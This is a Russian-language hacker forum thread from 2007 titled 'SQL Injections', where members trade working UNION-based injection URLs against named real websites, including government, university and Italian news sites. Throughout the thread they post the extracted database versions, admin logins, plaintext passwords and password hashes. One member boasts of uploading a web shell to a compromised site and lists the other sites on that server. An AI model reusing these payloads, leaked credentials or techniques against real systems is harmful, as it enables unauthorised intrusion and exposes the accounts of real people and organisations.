SQL Инъекции

Fugitif · 27 Nov 2007

Code:
http://www2a.cdc.gov/phlp/dailynews/default.asp?specific=1%20and%201=convert(int,@@version)--
'Microsoft SQL Server 2000 - 8.00.818 (Intel X86) May 31 2003 16:08:15 Copyright (c) 1988-2003 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 4) '
Click to expand...
Code:
http://www2a.cdc.gov/phlp/dailynews/default.asp?specific=1%20and%201=convert(int,@@servername)--
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'QPHP-ATL-PROD1' to a column of data type int.
Click to expand...

Roba · 27 Nov 2007

www.pose.is

БД 4'ой ветки

Code:

http://www.pose.is/fullfrettir.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,concat_ws(0x3a,username,password),14,15,16,17,18,19+from+users+--+

Code:

admin:123fazmo

1NtR0 · 27 Nov 2007

Еда
Code:
http://www.cviog.uga.edu/spotlight/news/item.php?id=-241+union+select+user(),database(),3,4,5,6,7,8,version()/*
user() webmstr@localhost
database() news
version() 4.0.18
Code:
http://www.ic.usu.edu/forum/topic.php?forum_id=-1+union+select+concat_ws(char(95, 95, 95),user(),version(),database())/*
user() root2@localhost
database() ic_forum
version() 4.1.20

TheSoul · 27 Nov 2007

http://www.sportsmindskills.com

Code:

http://www.sportsmindskills.com/sport.php?id=5+union+select+Email_address,User_password+from+user/*

http://www.green.ru

Code:

http://www.green.ru/news/event.htm?id=63+union+select+1,2,3,login,password,6,7+from+users/*

fRg · 27 Nov 2007

Привет, Италия!

everyeye.it

Code:

http://www.everyeye.it/anime/articolo.asp?id=-1+union+select+1,2,3,concat(aes_decrypt(aes_encrypt(version(),0x71),0x71),0x3a,aes_decrypt(aes_encrypt(database(),0x71),0x71),0x3a,aes_decrypt(aes_encrypt(user(),0x71),0x71))/*

4.1.18-NT:EVERYEYE_IT:ADMIN@LOCALHOSТ

momentosera.com

Code:

http://www.momentosera.com/articolo.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,concat(aes_decrypt(aes_encrypt(version(),0x71),0x71),0x3a,aes_decrypt(aes_encrypt(database(),0x71),0x71),0x3a,aes_decrypt(aes_encrypt(user(),0x71),0x71))/*

4.1.14-nt:momentosera1:[email protected]

ilmascalzone.it

Code:

http://www.ilmascalzone.it/articolo.php?id=-1+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6,7,8/*

4.0.27-standard-log:Sql17365_3:[email protected]

sapereperfare.it

Code:

http://www.sapereperfare.it/articoloExt.php?id=-1%20union%20select%201,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25/*&link=17

4.0.24_Debian-10sarge2:sapereperfa11865:[email protected]

uomo-libero.com

Code:

http://www.uomo-libero.com/autore.php?id=-1+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6/*&onlyfull=0

4.0.24-standard-log:uomolibero:uomolibero@localhost

Админка:

Code:

http://www.uomo-libero.com/admin/

Админы:

Code:

http://www.uomo-libero.com/autore.php?id=-1+union+select+1,2,3,4,concat_ws(0x3a,login,password),6+from+users+limit+0,1/*&onlyfull=0

[Логин : Пасс] :

Code:

uomolibero:u0m0l1b
mahutg:okamilykos

Залил шелл:

Code:

http://www.uomo-libero.com/images/file/rs.php

Оказалось на серваке крутятся сайты:

Code:

thenoiseisthemassage.org
unsedicesimo.corraini.com
www.creativenetwork.it
www.affiliate-blog.org
www.affiliatemagazine.net
www.affiliazione.info
www.ajax-blog.com
www.contactwizard.it
www.corraini.com
www.creativepress.it
www.festivaletteratura.it
www.ggindustriegrafiche.com
www.intranet-blog.com
www.mantuaconnection.com
www.narninews.it
www.onajax.com
www.passionesaxo.com
www.piazzalberti.org
www.pochimaledettiesubito.BCK
www.pochimaledettiesubito.com
www.quicomincialalettura.org
www.risorse-gratis.it
www.sacconicase.it
www.ternieprovincia.com
www.testounicoprivacy.it
www.uomo-libero.com
www.webhosting-gratis.it
www.writeonit.org

Люди - будьте добрыми хацкерами!!!

-=lebed=- · 27 Nov 2007

Powered By Tilde CMS довольно дырявая CMS, можно найти кучу скулей, как в старых так и новых версиях.

Пример:www.meditalklinik.dk
Code:
_http://www.meditalklinik.dk/index.php?id=-1+union+select+1,concat(version(),0x3a,user(),0x3a,database()),3,4,5,6,7,8,9/*
5.0.45:[email protected]:meditalklinik_dk_db
version=>5 ->
Code:
http://www.meditalklinik.dk/index.php?id=-1+union+select+1,table_name,3,4,5,6,7,8,9+from+information_schema.tables/*
Смотрим таблицы, меняя лимит:
Code:
_http://www.meditalklinik.dk/index.php?id=-1+union+select+1,table_name,3,4,5,6,7,8,9+from+information_schema.tables+limit+1,1/*
Всего 23 таблицы:
CHARACTER_SETS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
KEY_COLUMN_USAGE
PROFILING
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
STATISTICS
TABLES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS
ArtikelLink
ArtikelMain
ArtikelParaLinksRelation
ArtikelParaRelation
ArtikelParagraf
Menu_statisk

Iceangel_ · 27 Nov 2007

http://masteroff.org
Code:
http://masteroff.org/edit.php?q=44691+UNION+SELECT+1,pass,3,4,5,6,7,8,9,10,11+from+users/*
login: admin
hash: 5416d7cd6ef195a0f7622a9c56b55e84
pass: 1q2w3e4r

Fata1ex · 27 Nov 2007

edu
Code:
http://www.dukemednews.duke.edu/av/video.php?id=-1+union+select+1111111,password+from+mysql.user/*
[email protected]:4.0.18:news

web:623460e26f081bbc
Code:
http://geology.osu.edu/faculty_bios.php?id=-27+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31/* //Есть доступ к mysql.user
[email protected]:5.0.22:geosci_web
# 1cd219690c8c93cd
# root

Slip выкладывал вроде почти ее =/

Mike 007 · 27 Nov 2007

Code:

[B]http://www.galamax.it/[/B]Abito.it.php?Id=-1+union+select+1,user(),3,4,database(),6,7,8,version(),10/*

Code:

[B]http://microplasma.ru/[/B]?page_id=-1+union+select+1,2,3,4,5/*

Code:

[B]http://ocenshik.mostpp.ru/[/B]static.php?id=-1+order+by+8/*

Code:

[B]http://www.sobesednik.ru/[/B]news.php?id=1&art_id=-1'

Code:

[B]http://www.rudtp.ru/[/B]lib.php?id=-1+order+by+12/*

Code:

[B]http://www.iek.ru/[/B]product/index.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20/*&category=88&product=36

Roba · 28 Nov 2007

www.multilingual.com

Code:

http://www.multilingual.com/mlNewsArchiveDetail.php?id=-1+union+select+1,2,3,version()+--+

5.0.27-standard

Code:

http://www.multilingual.com/mlNewsArchiveDetail.php?id=-1+union+select+1,2,3,concat(table_schema,0x3a,table_name)+from+information_schema.columns+where+column_name=0x70617373776F7264+--+

blogos:exp_members

username
password
email

Code:

http://www.multilingual.com/mlNewsArchiveDetail.php?id=-1+union+select+1,2,3,concat_ws(0x3a,username,password,email)+from+blogos.exp_members+limit+0,1+--+

Code:

eeadmin:f59e5685b68217f1867988be7c15db56e8bb94ba:[email protected] 
 donna:cde612de4aed40a0b25ccf16d32d55c23e2be737:[email protected]

Underwit · 28 Nov 2007

edu

http://www.hvcc.edu/news_events/newsstory.php?id=-1+union+select+1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14+from+mysql.user/*
Click to expand...

root:*928AC7647884E687088EEAB171F96719E4C78BBD
admin:522737936936e128 - nimda
landp:*B0FA4CE370C35CCBDE20BD7D7E1CCD1135FBCFE1

fRg · 28 Nov 2007

Италия

sulpalco.com
Code:
http://www.sulpalco.com/articoli/articolo.php?id=-1+union+select+1,2,3,4,concat(aes_decrypt(aes_encrypt(version(),0x71),0x71),0x3a,aes_decrypt(aes_encrypt(database(),0x71),0x71),0x3a,aes_decrypt(aes_encrypt(user(),0x71),0x71)),6,7,8,9,10,11/*
4.1.18-nt:sp_vers1:sulpalco@localhost

bandieragialla.it
Code:
[CODE]http://www.bandieragialla.it/articolo.php?id=-1+union+select+1,concat(aes_decrypt(aes_encrypt(version(),0x71),0x71),0x3a,aes_decrypt(aes_encrypt(database(),0x71),0x71),0x3a,aes_decrypt(aes_encrypt(user(),0x71),0x71)),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17/*
4.1.12-standard:www2:www2db@localhost

storialibera.it
Code:
[CODE]http://www.storialibera.it/il_sabato/articolo.php?id=-1+union+select+1,2,3,concat(aes_decrypt(aes_encrypt(version(),0x71),0x71),0x3a,aes_decrypt(aes_encrypt(database(),0x71),0x71),0x3a,aes_decrypt(aes_encrypt(user(),0x71),0x71)),5,6,7,8,9,10,11,12,13/*
4.1.13-standard:storialibera:sl_user@localhost

Нашёл только табу articoli

thelancet.it
Code:
http://www.thelancet.it/archivio/articolo.php?id=13&idart=-1+union+select+1,2,3,4,5,6,7,concat_ws(0x3a,version(),database(),user())/*
4.0.24-log:Sql321et:[email protected]

igiochideigrandi.it
Code:
http://www.igiochideigrandi.it/articolo.php?ID=-1+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7,8,9,10,11/*
5.0.24a-standard:igdg:igdg@fiona

Из интересных таблиц только - clienti и email

evolutionschool.com
Code:
http://www.evolutionschool.com/old/libera_scuola/index.php?sup=-1+union+select+1,2,3,4,5,6,7,8,9,10,concat_ws(0x3a,version(),database(),user()),12,13/*
4.0.18-standard:evolutionsc29158:[email protected]

Админ:
Code:
http://www.evolutionschool.com/old/libera_scuola/index.php?sup=-1+union+select+1,2,3,4,5,6,7,8,9,10,concat_ws(0x3a,user_name,password),12,13+from+auth+limit+0,1/*
[логин : пасс] :
Code:
admin : 99alanma99
Админку не нашёл, кто найдёт - отпишитесь [+].

danielesegre.it
Code:
http://www.danielesegre.it/articolo.php?id=-1+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9/*
5.0.45-community-log:Sql121959_1:[email protected]

Админ:
Code:
http://www.danielesegre.it/articolo.php?id=-1+union+select+1,concat_ws(0x3a,username,password),3,4,5,6,7,8,9+from+utenti+limit+0,1/*
[логин : МД5(пасс)] :
Code:
daniele : f156e7995d521f30e6c59a3d6c75e1e5

Roba · 28 Nov 2007

lapa.princeton.edu

Code:

http://lapa.princeton.edu/peopledetail.php?ID=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,concat_ws(0x3a,version(),user(),database()),19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39+from+mysql.user+--+

4.1.12:lapa@localhost:LAPA

Code:

http://lapa.princeton.edu/peopledetail.php?ID=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,concat_ws(0x3a,user,password),19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39+from+mysql.user+--+

Code:

root:*74B1C21ACE0C2D6B0678A5E503D2A60E8F9651A3

Mike 007 · 28 Nov 2007

Code:

http://www.buliro.it/forumgiovani/articolo.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11/*

Code:

http://www.floornature.com/articoli/articolo.php?id=-1'&sez=6&lang=en

Code:

http://www.kousmine.it/articolo.php?id=-1+union+select+1,2,user(),4,version(),6,7,8,9,10,11/*

kousmine@localhost
4.1.20

Code:

http://www.storialibera.it/il_sabato/articolo.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13/*

тут ничего не вышло.

Code:

http://www.polonews.info/articolo.php?id=-1+union+select+1,2,user(),database(),version(),6/*

[email protected]

Code:

http://www.ocsabaoth.com/articolo.php?id=-1+union+select+user(),2,3,database(),version(),6,7,8,9/*

[email protected]
4.1.22-standard-log
Кто дораскрутит?

Code:

http://www.progettocompetence.it/sito/sistema/articolo.php?id=-1+union+select+1,2,table_name,4,5+from+information_schema.tables/*

тут список всех таблиц.

Code:

http://www.mpa-lazio.it/articolo.php?id=-1+union+select+1,2,3,table_name,5,6,7,8+from+infor  mation_schema.COLUMNS/*

fRg · 28 Nov 2007

Италия

didaweb.net
Code:
http://www.didaweb.net/liste/leggi.php?a=-1+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7,8,9,10,11,12/*&lista=001
4.0.27-standard-log:Sql40985_1:[email protected]

comunemio.it
Code:
http://www.comunemio.it/sezione.php?id=-1+union+select+1,concat_ws(0x3a,version(),database(),user()),3/*
4.0.18-nt:dg2:edicolante@localhost

ildiavolo.com
Code:
http://www.ildiavolo.com/articolo.php?id=-1+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7,8,9,10,11,12/*&mode=articolo
5.0.32-Dotdeb_1.dotdeb.1-log:ildiavolosql1:ildiavolosql1@localhost

Интересных таблиц не нашёл.

TheSoul · 28 Nov 2007

http://anekdot.meta.ua
Code:
http://anekdot.meta.ua/index.php?theme=-53+union+select+1/*
[email protected]
4.0.26-max-log
anekdot

http://www.uazmadi.ru
Code:
http://www.uazmadi.ru/news.php?news_id=-1+union+select+1,2,3,table_name,5,6,7,8,9,10,11+from+information_schema.tables+limit+2,1/*

Fata1ex · 28 Nov 2007

edu
Code:
http://duckhenge.uoregon.edu/io/article.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16/*
io@localhost:5.0.32-Debian_7etch1-log:io

Roba · 28 Nov 2007

wandp.american.edu
Code:
http://wandp.american.edu/pages.php?ID=-1+union+select+1,AES_DECRYPT(AES_ENCRYPT(version(),0x71),0x71),3,4+--+
4.1.13a-nt
Code:
http://wandp.american.edu/pages.php?ID=-1+union+select+1,2,3,4+from+mysql.user+--+
user
password

root:*ADDF07FCC8E37371B887F38314C77A2FA4BC71CE
kirill:*647EE0BF48ED4F9607F02931A1F64099C4883091
pmauser:*D9826E8D7609B8DF2B01003A4149F81513FEBF22

Fata1ex · 28 Nov 2007

Так, хорош раздавать мои edu'шки =(
Code:
http://www.fhmbuurmeisje.nl/profile.php?id=-19+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17/*
ttg-db@localhost:4.1.20-log:ttg-fhm
pr=3

edu
Code:
http://studyabroad.arizona.edu/display_program.php?id=76+group+by+2/*
Code:
http://events.internet2.edu/speakers/speakers.php?go=people&id=1+group+by+3/*

random · 28 Nov 2007

.edu
У всех версия mysql = 5

http://www.bethlehem.edu/news_events/bu_in_news/list.php?id=-67+union+select+1,concat(alpha,0x3a,name,0x3a,email,0x3a,pos,0x3a,dep,0x3a,type),3,4+from+staff/*
Click to expand...

http://www.pharmchem.ku.edu/people-faculty-info.php?ID=-4+union+select+1,aes_decrypt(aes_encrypt(version(),0x71),0x71),3,4,5,6,7,8,9,10,11,12,13,14/*
Click to expand...

SQL Инъекции

Fugitif Elder - Старейшина

Roba Banned

1NtR0 Elder - Старейшина

TheSoul Elder - Старейшина

fRg Active Member

-=lebed=- хэшкрякер

Iceangel_ Elder - Старейшина

Fata1ex Elder - Старейшина

Mike 007 Elder - Старейшина

Roba Banned

Underwit Banned

fRg Active Member

Roba Banned

Mike 007 Elder - Старейшина

fRg Active Member

TheSoul Elder - Старейшина

Fata1ex Elder - Старейшина

Roba Banned

Fata1ex Elder - Старейшина

random Elder - Старейшина

Useful Searches

SQL Инъекции

Fugitif Elder - Старейшина

Roba Banned

1NtR0 Elder - Старейшина

TheSoul Elder - Старейшина

fRg Active Member

-=lebed=- хэшкрякер

Iceangel_ Elder - Старейшина

Fata1ex Elder - Старейшина

Mike 007 Elder - Старейшина

Roba Banned

Underwit Banned

fRg Active Member

Roba Banned

Mike 007 Elder - Старейшина

fRg Active Member

TheSoul Elder - Старейшина

Fata1ex Elder - Старейшина

Roba Banned

Fata1ex Elder - Старейшина

random Elder - Старейшина